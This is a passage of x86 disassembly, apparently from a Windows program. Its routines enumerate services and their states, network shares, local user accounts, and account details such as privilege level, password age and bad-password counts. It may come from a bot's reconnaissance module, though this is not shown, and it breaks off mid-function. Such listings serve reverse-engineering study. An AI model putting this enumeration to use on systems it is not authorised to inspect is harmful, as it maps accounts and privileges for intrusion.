byte_418E54	db	0,     9,     1,     2 ; DATA XREF: sub_418CE8+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E66	proc near		; CODE XREF: sub_401AC7+44EEp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4C92F8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_418E9E:				; CODE XREF: sub_418E66+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4C92C4
		test	eax, eax
		jnz	short loc_418ED8
		call	near ptr 26807F9h
		nop
		cmp	eax, 0EAh
		jnz	loc_418F8C


loc_418ED8:				; CODE XREF: sub_418E66+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418F83
		lea	esi, [ebp+var_188]


loc_418EE9:				; CODE XREF: sub_418E66+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F32
		dec	eax
		jz	short loc_418F2B
		dec	eax
		jz	short loc_418F24
		dec	eax
		jz	short loc_418F1D
		dec	eax
		jz	short loc_418F16
		dec	eax
		jz	short loc_418F0F
		dec	eax
		jz	short loc_418F08
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F08:				; CODE XREF: sub_418E66+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F0F:				; CODE XREF: sub_418E66+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F16:				; CODE XREF: sub_418E66+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F1D:				; CODE XREF: sub_418E66+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F24:				; CODE XREF: sub_418E66+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F2B:				; CODE XREF: sub_418E66+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F32:				; CODE XREF: sub_418E66+87j
		push	offset aStopped	; "    Stopped"


loc_418F37:				; CODE XREF: sub_418E66+A0j
					; sub_418E66+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C006
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418EE9


loc_418F83:				; CODE XREF: sub_418E66+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418E9E


loc_418F8C:				; CODE XREF: sub_418E66+6Cj
		push	[ebp+var_C]
		call	dword_4C91FC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418E66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FA3	proc near		; CODE XREF: sub_401AC7:loc_40606Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41903C
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418FCC
		dec	eax
		jnz	short loc_41901C
		push	edi
		push	0
		call	sub_419175
		pop	ecx
		pop	ecx
		jmp	short loc_419018
; ---------------------------------------------------------------------------


loc_418FCC:				; CODE XREF: sub_418FA3+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41900A
		push	24h
		push	edi
		call	sub_41C720
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41900A
		push	57h
		pop	eax


loc_418FE3:				; CODE XREF: sub_418FA3+77j
		push	eax
		call	sub_41994D
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4D8F7C
		push	off_438D40[eax*4]
		push	offset unk_4393EC
		push	esi
		call	sub_41C006
		add	esp, 18h
		jmp	short loc_41905C
; ---------------------------------------------------------------------------


loc_41900A:				; CODE XREF: sub_418FA3+2Dj
					; sub_418FA3+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4190C9
		add	esp, 0Ch


loc_419018:				; CODE XREF: sub_418FA3+27j
		test	eax, eax
		jnz	short loc_418FE3


loc_41901C:				; CODE XREF: sub_418FA3+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4D8F7C
		push	off_438D44[eax*4]
		push	offset dword_4393D0
		push	esi
		call	sub_41C006
		add	esp, 10h
		jmp	short loc_41905C
; ---------------------------------------------------------------------------


loc_41903C:				; CODE XREF: sub_418FA3+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4D8F7C
		lea	eax, [eax+eax*2]
		push	off_438D40[eax*4]
		push	offset unk_4393AC
		push	esi
		call	sub_41C006
		add	esp, 0Ch


loc_41905C:				; CODE XREF: sub_418FA3+65j
					; sub_418FA3+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FA3	endp


; =============== S U B	R O U T	I N E =======================================



sub_419062	proc near		; CODE XREF: sub_41A367+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_41906F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41906F:				; CODE XREF: sub_419062+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427194
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4D917C, 1
		mov	ebp, eax
		jnz	short loc_4190AC
		or	byte_4D917C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D735
		pop	ecx
		mov	dword_4D8F1C, eax


loc_4190AC:				; CODE XREF: sub_419062+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4D8F1C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4D8F1C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_419062	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190C9	proc near		; CODE XREF: sub_418FA3+6Dp
					; sub_41A68B+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419134
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419134
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C720
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419134
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4C91F8
		pop	edi
		leave
		retn
sub_4190C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_419134	proc near		; CODE XREF: sub_4190C9+Ap
					; sub_4190C9+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419141
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419141:				; CODE XREF: sub_419134+9j
		push	ebx
		push	esi
		mov	esi, dword_4270F0
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D735
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419134	endp


; =============== S U B	R O U T	I N E =======================================



sub_419175	proc near		; CODE XREF: sub_418FA3+20p
					; sub_41A367+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419134
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419134
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4C91D0
		pop	esi
		retn
sub_419175	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419198	proc near		; CODE XREF: sub_401AC7+45D1p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419134
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 18h


loc_4191D1:				; CODE XREF: sub_419198+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4C9248
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419234
		cmp	ebx, 0EAh
		jz	short loc_419234
		push	ebx
		push	ebx
		call	sub_41994D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439438
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 24h
		jmp	short loc_4192A1
; ---------------------------------------------------------------------------


loc_419234:				; CODE XREF: sub_419198+5Dj
					; sub_419198+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_419298
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419242:				; CODE XREF: sub_419198+FCj
		push	dword ptr [esi+10h]
		call	dword_4C91EC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_419259
		mov	eax, offset aNo	; "No"


loc_419259:				; CODE XREF: sub_419198+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419242
		xor	esi, esi


loc_419298:				; CODE XREF: sub_419198+A2j
		push	[ebp+var_4]
		call	dword_4C9394


loc_4192A1:				; CODE XREF: sub_419198+9Aj
		cmp	ebx, 0EAh
		jz	loc_4191D1
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419198	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B9	proc near		; CODE XREF: sub_401AC7:loc_40610Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_41935D
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_4192FB
		dec	eax
		jz	short loc_4192F0
		dec	eax
		jnz	short loc_419316
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4193FF
		add	esp, 14h
		jmp	short loc_419312
; ---------------------------------------------------------------------------


loc_4192F0:				; CODE XREF: sub_4192B9+1Dj
		push	ebx
		push	edi
		call	sub_4193DE
		pop	ecx
		pop	ecx
		jmp	short loc_419312
; ---------------------------------------------------------------------------


loc_4192FB:				; CODE XREF: sub_4192B9+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_41930F
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_419384
		add	esp, 0Ch
		jmp	short loc_419312
; ---------------------------------------------------------------------------


loc_41930F:				; CODE XREF: sub_4192B9+45j
		push	57h
		pop	eax


loc_419312:				; CODE XREF: sub_4192B9+35j
					; sub_4192B9+40j ...
		cmp	eax, edi
		jnz	short loc_419336


loc_419316:				; CODE XREF: sub_4192B9+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4D9180
		push	off_438D44[eax*4]
		push	offset unk_4394F0
		push	esi
		call	sub_41C006
		add	esp, 10h
		jmp	short loc_41937D
; ---------------------------------------------------------------------------


loc_419336:				; CODE XREF: sub_4192B9+5Bj
		push	eax
		call	sub_41994D
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4D9180
		push	off_438D40[eax*4]
		push	offset unk_4394C0
		push	esi
		call	sub_41C006
		add	esp, 18h
		jmp	short loc_41937D
; ---------------------------------------------------------------------------


loc_41935D:				; CODE XREF: sub_4192B9+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4D9180
		lea	eax, [eax+eax*2]
		push	off_438D40[eax*4]
		push	offset unk_439498
		push	esi
		call	sub_41C006
		add	esp, 0Ch


loc_41937D:				; CODE XREF: sub_4192B9+7Bj
					; sub_4192B9+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419384	proc near		; CODE XREF: sub_4192B9+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419134
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419134
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419134
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4C91DC
		pop	edi
		leave
		retn
sub_419384	endp


; =============== S U B	R O U T	I N E =======================================



sub_4193DE	proc near		; CODE XREF: sub_4192B9+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419134
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419134
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4C91CC
		pop	esi
		retn
sub_4193DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_4192B9+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419134
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419134
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4C935C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41978C
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4197C7
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C006
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419518
		dec	eax
		jz	short loc_419511
		dec	eax
		jz	short loc_41950A
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41951D
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_4193FF+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41951D
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_4193FF+FFj
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_41951D
; ---------------------------------------------------------------------------


loc_419518:				; CODE XREF: sub_4193FF+FCj
		mov	eax, offset aGuest ; "Guest"


loc_41951D:				; CODE XREF: sub_4193FF+109j
					; sub_4193FF+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4197B8
; ---------------------------------------------------------------------------


loc_41978C:				; CODE XREF: sub_4193FF+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439510
		push	eax
		call	sub_41C006
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409862
		add	esp, 20h


loc_4197B8:				; CODE XREF: sub_4193FF+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4197C7
		push	[ebp+var_4]
		call	dword_4C9394


loc_4197C7:				; CODE XREF: sub_4193FF+40j
					; sub_4193FF+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4197CD	proc near		; CODE XREF: sub_401AC7+4673p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419134
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 18h


loc_41980C:				; CODE XREF: sub_4197CD+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4C9264
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41986D
		cmp	eax, 0EAh
		jz	short loc_41986D
		push	eax
		push	eax
		call	sub_41994D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439700
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 24h
		jmp	short loc_4198E8
; ---------------------------------------------------------------------------


loc_41986D:				; CODE XREF: sub_4197CD+62j
					; sub_4197CD+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_4198FB
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4198E8


loc_41987F:				; CODE XREF: sub_4197CD+EDj
		cmp	edi, esi
		jz	short loc_4198BE
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41987F
		jmp	short loc_4198E8
; ---------------------------------------------------------------------------


loc_4198BE:				; CODE XREF: sub_4197CD+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_4396CC
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 1Ch


loc_4198E8:				; CODE XREF: sub_4197CD+9Ej
					; sub_4197CD+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4198FB
		push	edi
		call	dword_4C9394
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_4198FB:				; CODE XREF: sub_4197CD+A5j
					; sub_4197CD+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41980C
		cmp	edi, esi
		jz	short loc_419913
		push	edi
		call	dword_4C9394


loc_419913:				; CODE XREF: sub_4197CD+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
